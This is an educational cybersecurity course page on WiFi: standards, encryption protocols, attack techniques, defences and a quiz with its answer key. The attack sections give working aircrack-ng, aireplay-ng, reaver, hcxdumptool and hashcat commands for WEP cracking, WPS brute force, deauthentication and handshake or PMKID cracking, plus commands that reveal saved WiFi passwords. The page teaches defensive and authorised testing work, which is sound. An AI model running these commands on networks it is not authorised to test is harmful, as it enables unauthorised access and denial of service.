1.5.5 WiFi Explained | Networking | Cybersecurity Course

WiFi (Wireless Fidelity) is a marketing term for wireless networking technology based on the IEEE 802.11 standards.

How Wireless Communication Works

Radio Waves: Data transmitted via electromagnetic waves
Frequencies: 2.4 GHz, 5 GHz, and 6 GHz bands
Modulation: Data encoded into radio signals
Half-Duplex: Cannot send and receive simultaneously on same channel

Key Organizations

IEEE: Develops 802.11 technical standards
WiFi Alliance: Certifies devices, creates marketing names (WiFi 6, etc.)

Context: WiFi does not officially stand for anything. The name was created as a consumer-friendly brand for IEEE 802.11 wireless networking.

Standard	Year	Frequency	Max Speed	Range	Key Features
802.11	1997	2.4 GHz	2 Mbps	~20m	Original standard
802.11a	1999	5 GHz	54 Mbps	~35m	OFDM
802.11b	1999	2.4 GHz	11 Mbps	~35m	Popular but slow
802.11g	2003	2.4 GHz	54 Mbps	~38m	Backward compatible
802.11n (WiFi 4)	2009	2.4/5 GHz	600 Mbps	~70m	MIMO, dual-band
802.11ac (WiFi 5)	2013	5 GHz	6.9 Gbps	~35m	MU-MIMO, beamforming
802.11ax (WiFi 6)	2019	2.4/5 GHz	9.6 Gbps	~35m	OFDMA, better density
WiFi 6E	2020	6 GHz	9.6 Gbps	~35m	6 GHz band added
802.11be (WiFi 7)	2024	2.4/5/6 GHz	46 Gbps	-	MLO, 320 MHz channels

Key Technologies Explained

MIMO: Multiple antennas for parallel data streams
MU-MIMO: Serves multiple devices simultaneously
OFDM/OFDMA: Divides channel into sub-carriers for efficiency
Beamforming: Focuses signal toward devices
Channel Bonding: Combines channels for more bandwidth

Band	Range	Interference	Channels	Best For
2.4 GHz	Longer	High (microwaves, Bluetooth)	11 (3 non-overlapping: 1, 6, 11)	Range, older devices
5 GHz	Shorter	Lower	25+ non-overlapping	Speed, less congestion
6 GHz	Shortest	Minimal	59 channels	High density, latest devices

2.4 GHz Channel Overlap

Channel:    1    2    3    4    5    6    7    8    9   10   11
         +--------------------+
         |    Channel 1       |
         +--------------------+
                        +--------------------+
                        |    Channel 6       | <- Use these three
                        +--------------------+
                                       +--------------------+
                                       |   Channel 11       |
                                       +--------------------+

Only channels 1, 6, and 11 do not overlap. Using nearby channels can create interference.

Component	Description
Access Point (AP)	Bridges wireless to wired network
Wireless Router	AP + router + (usually) modem combined
SSID	Network name (Service Set Identifier)
BSSID	MAC address of the AP
Wireless NIC	Client device interface
Antenna	Omnidirectional (360 degrees) or Directional (focused)

Protocol	Year	Encryption	Key Size	Status	Vulnerabilities
WEP	1997	RC4	40/104-bit	Deprecated	IV collision, crackable in minutes
WPA	2003	TKIP (RC4)	128-bit	Legacy	TKIP weaknesses
WPA2	2004	AES-CCMP	128-bit	Current	KRACK attack
WPA3	2018	AES-GCMP / SAE	192/256-bit	Current	Dragonblood (patched)

5.1 WEP (Wired Equivalent Privacy)

Do not use WEP.

Why WEP is Broken

24-bit IV: Only 16 million combinations -> IV reuse inevitable
IV transmitted in cleartext: Attacker can collect and analyze
Key recovery: With enough packets, key is calculated
No mutual authentication: Can't verify AP identity

Cracking WEP (Educational)

# 1. Enable monitor mode
airmon-ng start wlan0

# 2. Find target network
airodump-ng wlan0mon

# 3. Capture packets from target
airodump-ng -c [channel] --bssid [BSSID] -w capture wlan0mon

# 4. Generate traffic with ARP replay
aireplay-ng -3 -b [BSSID] wlan0mon

# 5. Crack the key (needs ~40,000 IVs)
aircrack-ng capture-01.cap
            

5.2 WPA (WiFi Protected Access)

Temporary fix while WPA2 was developed
TKIP: Temporal Key Integrity Protocol (still uses RC4)
MIC: Message Integrity Check prevents tampering
Per-packet key mixing improved security
Still deprecated; avoid it

5.3 WPA2

Industry standard for over a decade. Uses AES-CCMP encryption.

Personal (PSK) vs Enterprise

WPA2-Personal: Pre-Shared Key (password) - home use
WPA2-Enterprise: 802.1X + RADIUS server - corporate

4-Way Handshake

    Client                              Access Point
       |                                     |
       |<------- 1. ANonce -----------------|  AP sends nonce
       |                                     |
       |------ 2. SNonce + MIC ------------>|  Client sends nonce + proof
       |                                     |
       |<------- 3. GTK + MIC --------------|  AP sends Group Key
       |                                     |
       |------ 4. ACK --------------------->|  Connection established
       |                                     |

PTK (Pairwise Transient Key) = PMK + ANonce + SNonce + MACs

KRACK Attack (2017)

Key Reinstallation Attack - targets the 4-way handshake

Attacker forces nonce reuse by replaying handshake messages
Can decrypt packets and inject traffic
Requires proximity to victim
Patches are available for most devices; keep devices updated

5.4 WPA3

WPA3 is the current secure WiFi encryption standard.

Key Improvements

SAE (Simultaneous Authentication of Equals): Dragonfly handshake, resistant to offline dictionary attacks
Forward Secrecy: Past sessions can't be decrypted even if password is compromised
PMF (Protected Management Frames): Prevents deauth attacks
Enhanced Open (OWE): Encryption for public WiFi without password
192-bit Security: Enterprise mode uses stronger crypto

Recommended setup: Use WPA3 if devices support it. Otherwise, use WPA2-AES with a strong password of at least 12 random characters.

5.5 WPS (WiFi Protected Setup)

Disable WPS.

8-digit PIN split into two halves (4+4)
First half: 10,000 combinations, Second half: 1,000 (last digit is checksum)
Only ~11,000 total attempts needed
Brute-forceable in hours

WPS Attack Tools

# Reaver - WPS brute force
reaver -i wlan0mon -b [BSSID] -vv

# Bully - alternative WPS cracker
bully wlan0mon -b [BSSID] -v 3

# Pixie Dust - offline WPS attack (faster)
reaver -i wlan0mon -b [BSSID] -K 1
            

6.1 Reconnaissance

First step - discover networks and clients.

# Put card in monitor mode
airmon-ng check kill
airmon-ng start wlan0

# Scan all networks
airodump-ng wlan0mon

# Target specific network (capture handshakes)
airodump-ng -c [channel] --bssid [BSSID] -w output wlan0mon
                

6.2 Deauthentication Attack

Disconnect clients from AP by sending spoofed deauth frames.

Forces re-authentication (capture handshake)
Denial of Service potential
WPA3 PMF protects against this

# Deauth specific client
aireplay-ng -0 10 -a [AP_BSSID] -c [CLIENT_MAC] wlan0mon

# Deauth all clients (broadcast)
aireplay-ng -0 10 -a [AP_BSSID] wlan0mon

# -0 = deauth attack, 10 = number of packets
                

6.3 Handshake Capture & Cracking

Capture 4-way handshake, then crack offline with wordlist.

# 1. Capture (wait for client or use deauth)
airodump-ng -c [channel] --bssid [BSSID] -w capture wlan0mon

# 2. Crack with aircrack-ng (CPU)
aircrack-ng capture-01.cap -w /usr/share/wordlists/rockyou.txt

# 3. Crack with hashcat (GPU - much faster)
# Convert capture to hashcat format
hcxpcapngtool capture-01.cap -o hash.hc22000

# Run hashcat
hashcat -m 22000 hash.hc22000 rockyou.txt
                

6.4 PMKID Attack

Capture PMKID directly from the AP without needing an active client.

# Capture PMKID
hcxdumptool -i wlan0mon -o output.pcapng --enable_status=1

# Convert and crack
hcxpcapngtool output.pcapng -o pmkid.hc22000
hashcat -m 22000 pmkid.hc22000 wordlist.txt
                

6.5 Evil Twin Attack

Create fake AP with same SSID -> victims connect to attacker.

Create fake AP with same name as target
Deauth clients from real AP
Clients reconnect to your fake AP
Capture credentials or perform MITM

Tools: Fluxion, hostapd, WiFi Pumpkin

6.6 Karma Attack

Respond to all probe requests from devices looking for saved networks.

Exploits auto-connect behavior
Works on devices probing for open networks
Tools: Hostapd-mana, WiFi Pumpkin

6.7 Rogue AP

Unauthorized access point in corporate network -> bypasses security.

May be malicious or just employee bringing personal router
Enterprise uses WIDS/WIPS for detection

Aircrack-ng

WiFi audit suite

Wifite

Automated attacks

Reaver

WPS brute force

Bully

WPS attacks

Hashcat

GPU password cracking

Fluxion

Evil twin framework

Bettercap

MITM framework

WiFi Pumpkin

Rogue AP framework

Kismet

Wireless detector

hcxtools

PMKID capture/convert

8.1 For Home Users

Use WPA3 (or WPA2-AES minimum)
Strong passphrase (12+ chars, random)
Disable WPS completely
Change default admin credentials
Hide SSID (minor security benefit)
Enable router firewall
Update firmware regularly
Use 5GHz when possible (shorter range)
MAC filtering (minor security)
Reduce transmit power if possible

8.2 For Enterprise

WPA3-Enterprise with RADIUS
802.1X authentication
Certificate-based auth (EAP-TLS)
Network segmentation (guest vs corporate)
Rogue AP detection (WIDS/WIPS)
Regular security audits
Disable legacy protocols (WEP, WPA, TKIP)
Enable Protected Management Frames (PMF)
Monitor for deauth attacks

8.3 For Users (Client-side)

Forget networks you don't use
Disable auto-connect to open networks
Use VPN on public WiFi
Verify network name before connecting
Keep devices updated

For authorized penetration testing engagements:

Identify all wireless networks in scope
Check encryption type (WEP/WPA/WPA2/WPA3)
Test WPS if enabled
Capture handshakes
Attempt password cracking (with permission)
Test for rogue APs
Check for client isolation
Verify guest network segmentation
Test for deauth vulnerability
Document findings and recommendations

Legal reminder

Only test networks you own or have written permission to test
Unauthorized WiFi attacks are illegal (CFAA, Computer Misuse Act, etc.)
Even passive scanning can be legally gray in some jurisdictions
Document scope and permissions before any engagement
Penalties include fines and imprisonment

Monitor Mode & Scanning

# Check interface
iwconfig

# Kill interfering processes
airmon-ng check kill

# Start monitor mode
airmon-ng start wlan0

# Stop monitor mode
airmon-ng stop wlan0mon

# Scan networks
airodump-ng wlan0mon

# Target specific network
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
            

Attacks & Cracking

# Deauth attack
aireplay-ng -0 5 -a [AP_MAC] -c [CLIENT_MAC] wlan0mon

# Crack handshake
aircrack-ng capture-01.cap -w /path/to/wordlist

# Hashcat (GPU)
hcxpcapngtool capture.cap -o hash.hc22000
hashcat -m 22000 hash.hc22000 wordlist.txt
            

View Saved WiFi Passwords

# Windows - show password
netsh wlan show profile name="NETWORK_NAME" key=clear

# Linux - saved passwords
sudo cat /etc/NetworkManager/system-connections/NETWORK_NAME.nmconnection

# macOS
security find-generic-password -wa "NETWORK_NAME"
            

Scenario 1: Home Network Audit

Login to router admin panel
Verify using WPA2/WPA3-AES
Ensure WPS is disabled
Change default admin password
Test password strength with aircrack-ng (on your own network)

Scenario 2: Coffee Shop Safety

Verify network name with staff (avoid evil twins)
Connect to VPN immediately
Avoid sensitive banking/passwords
Use HTTPS everywhere
Forget network after leaving

Scenario 3: Corporate Pentest

Obtain written authorization
Define scope clearly
Passive reconnaissance first
Active testing with permission
Document everything
Responsible disclosure of findings

Q1: Which WiFi security protocol is completely broken and should never be used?

WPA2 WEP WPA3 AES

Q2: What is the name for WiFi 6?

802.11ac 802.11ax 802.11n 802.11be

Q3: Why is WPS a security risk?

It uses weak encryption 8-digit PIN is brute-forceable (~11,000 attempts) It's too slow It doesn't work

Q4: What attack forces clients to reconnect to capture handshakes?

Evil Twin Deauthentication Attack PMKID Attack Karma Attack

Q5: Which 2.4 GHz channels don't overlap?

1, 2, 3 1, 6, 11 All of them 5, 10, 15

Q6: What encryption does WPA2 use?

RC4 TKIP AES-CCMP DES

Q7: What WPA3 feature provides encryption on public WiFi without a password?

SAE Enhanced Open (OWE) TKIP WPS

Q8: Which attack captures PMKID directly from AP without needing a client?

Evil Twin Handshake Capture PMKID Attack Deauth Attack

Q9: What tool is used for GPU-accelerated password cracking?

Aircrack-ng Hashcat Wireshark Nmap

Q10: What is an Evil Twin attack?

Duplicating MAC addresses Creating fake AP with same SSID as target Jamming radio frequencies DNS poisoning

Q11: What WPA2 vulnerability was discovered in 2017?

Dragonblood KRACK Heartbleed Shellshock

Q12: Which command puts a wireless interface into monitor mode?

iwconfig wlan0 mode monitor airmon-ng start wlan0 ifconfig wlan0 monitor netsh wlan monitor

Q13: What does SAE stand for in WPA3?

Secure Authentication Exchange Simultaneous Authentication of Equals Simple Access Encryption Standard Authentication Extension

Q14: What is the primary defense against deauth attacks?

Stronger password Protected Management Frames (PMF/802.11w) MAC filtering Hidden SSID

Q15: You're on public WiFi at a coffee shop. What's the MOST important security measure?

Use a strong password Use a VPN Use MAC filtering Disable Bluetooth

Q1: WEP

Q2: 802.11ax

Q3: 8-digit PIN is brute-forceable (~11,000 attempts)

Q4: Deauthentication Attack

Q5: 1, 6, 11

Q6: AES-CCMP

Q7: Enhanced Open (OWE)

Q8: PMKID Attack

Q9: Hashcat

Q10: Creating fake AP with same SSID as target

Q11: KRACK

Q12: airmon-ng start wlan0

Q13: Simultaneous Authentication of Equals

Q14: Protected Management Frames (PMF/802.11w)

Q15: Use a VPN

1. Introduction to WiFi